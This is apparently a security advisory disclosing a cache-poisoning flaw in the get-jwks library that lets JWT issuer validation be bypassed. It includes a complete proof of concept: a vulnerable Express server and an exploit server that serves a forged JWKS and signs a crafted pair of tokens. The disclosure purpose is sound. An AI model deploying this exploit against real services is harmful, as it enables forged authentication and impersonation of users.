get-jwks: poisoned JWKS cache allows post-fetch issuer validation bypass

Summary

A vulnerability in get-jwks can lead to cache poisoning in the JWKS key-fetching mechanism.

Details

When the iss (issuer) claim is validated only after keys are retrieved from the cache, it is possible for cached keys from an unexpected issuer to be reused, resulting in a bypass of issuer validation. This design flaw enables a potential attack where a malicious actor crafts a pair of JWTs, the first one ensuring that a chosen public key is fetched and stored in the shared JWKS cache, and the second one leveraging that cached key to pass signature validation for a targeted iss value.

The vulnerability will work only if the iss validation is done after the use of get-jwks for keys retrieval, which usually is the common case.

PoC

Server code:

const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
    jwks.getPublicKey({
        kid: jwt.header.kid,
        alg: jwt.header.alg,
        domain: jwt.payload.iss
    });

const jwtVerifier = createVerifier({
    key: keyFetcher,
    allowedIss: 'https://example.com',
});

const app = express();
const port = 3000;

app.use(express.json());

async function verifyToken(req, res, next) {
  const headerAuth = req.headers.authorization.split(' ')
  let token = '';
  if (headerAuth.length > 1) {
    token = headerAuth[1];
  }

  const payload = await jwtVerifier(token);

  req.decoded = payload;
  next();
}

// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
  res.json(req.decoded);
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

Exploit server that generates the JWT pair and send the public RSA key to the victim server:

const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');

const app = express();
const port = 3001;
const host = `http://localhost:${port}`;
const target_iss = `https://example.com`;

const { publicKey, privateKey } = generateKeyPairSync("rsa",
    {   modulusLength: 4096,
        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    },
);
const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create cache poisoning token
app.post('/create-token-1', (req, res) => {
  const token = jwt.sign({ ...req.body, iss: `${host}/?:${target_iss}`,  }, privateKey, { 
    algorithm: 'RS256', 
    header: {
        kid: "testkid", 
     } });
  res.send(token);
});

// Endpoint to create a token with valid iss
app.post('/create-token-2', (req, res) => {
    const token = jwt.sign({ ...req.body, iss: target_iss ,  }, privateKey, { algorithm: 'RS256', header: {
      kid: `testkid:${host}/?`, 
    } });
    res.send(token);
  });

app.get('/.well-known/jwks.json', (req, res) => {
    return res.json({
        keys: [{
            ...jwk,
            kid: 'testkid',
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.use((req, res) => {
    return res.json({
        "issuer": host,
        "jwks_uri": host + '/.well-known/jwks.json'
    });
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});